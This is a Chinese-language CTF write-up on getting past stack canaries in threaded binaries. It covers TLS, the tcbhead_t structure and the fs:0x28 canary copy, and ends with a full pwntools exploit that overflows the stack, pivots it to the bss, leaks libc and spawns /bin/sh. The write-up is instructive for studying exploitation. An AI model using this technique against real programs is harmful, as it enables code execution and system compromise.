知识点:

(1)gdb中使用fsbase指令可获得fs寄存器的值

(2)TLS(线程局部储存):防止当一个线程卡死后对其它线程对全局变量或该函数内的static变量的使用产生影响,会在该线程开始时,拷贝一份全局变量和static变量到TLS段。线程的TLS段一般和栈段挨得很近

(3)线程题的canary比较:线程题的canary是把栈段的canary和TLS段的副本进行比较,所以要绕过canary的话,可以将栈段和TLS段的canary均覆盖成相同的值

(4)在 glibc 实现中,TLS 由段寄存器fs(x86-64 架构)指向。TLSglibc中的实现为 tcbhead_t(TCB)结构体,其定义如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
typedef struct
{
void *tcb; /* Pointer to the TCB. Not necessarily the
thread descriptor used by libpthread. */
dtv_t *dtv;
void *self; /* Pointer to the thread descriptor. */
int multiple_threads;
int gscope_flag;
uintptr_t sysinfo;
uintptr_t stack_guard; // fs:0x28 canary的值
uintptr_t pointer_guard;
...
} tcbhead_t;

canary的值实际储存在stack_guard这一变量中,fs 寄存器实际指向的是当前栈的 TLS 结构,fs:0x28 指向的正是 stack_guard

线程局部存储(Thread Local Storage)是一种机制,通过该机制分配变量,以便每一个现存的线程都有一个变量实例。
它主要是为了避免多个线程同时访存同一全局变量或者静态变量时所导致的冲突,尤其是多个线程同时需要修改这一变量时。为了解决这个问题,我们可以通过TLS机制,为每一个使用该全局变量的线程都提供一个变量值的副本,每一个线程均可以独立地改变自己的副本,而不会和其它线程的副本冲突。从线程的角度看,就好像每一个线程都完全拥有该变量。而从全局变量的角度上来看,就好像一个全局变量被克隆成了多份副本,而每一份副本都可以被一个线程独立地改变。

所以我们可以通过覆盖rbp-8处和fs:[0x28]处为相同的值,即可绕过canary

mov rcx, qword ptr [rbp - 8]

xor rcx, qword ptr fs:[0x28]

题目:

做提前先用patchelf将glibc修改为2.23-0ubuntu11.3,否则有可能覆盖fs:[0x28]前就会崩溃

之后就是栈迁移+覆盖tls,贴下wp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
context(log_level='debug',arch='amd64')
p=process('./bs')
elf=ELF('./bs')
libc=ELF('/home/miko/Desktop/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')
#gdb.attach(p,'b *0x400992')
#pause()
p.recvuntil(b'send?\n')
p.sendline(b'6128')
libc_main_got=elf.got['__libc_start_main']
#start=0x400810
put_plt=0x4007C0
pop_rdi=0x400c03
pop_rsi_r15=0x400c01
leave_ret=0x400955
read=0x4007E0
bss=0x602310
payload=b'\x00'*4104+b'\x00'*8+p64(bss-0x8)+p64(pop_rdi)+p64(libc_main_got)+p64(put_plt)
payload+=p64(pop_rdi)+p64(0)+p64(pop_rsi_r15)+p64(bss)+p64(0)+p64(read)+p64(leave_ret)
payload=payload.ljust(6128,b'\x00')
p.send(payload)
p.recvuntil(b'goodbye.\n')
true=u64(p.recv(6).ljust(8,b'\x00'))
print(hex(true))
libcbase=true-libc.symbols['__libc_start_main']
print(hex(libcbase))
system=libc.symbols['system']+libcbase
sh=next(libc.search(b'/bin/sh'))+libcbase
p.recv()
payload2=p64(pop_rdi)+p64(sh)+p64(system)
p.send(payload2)
p.interactive()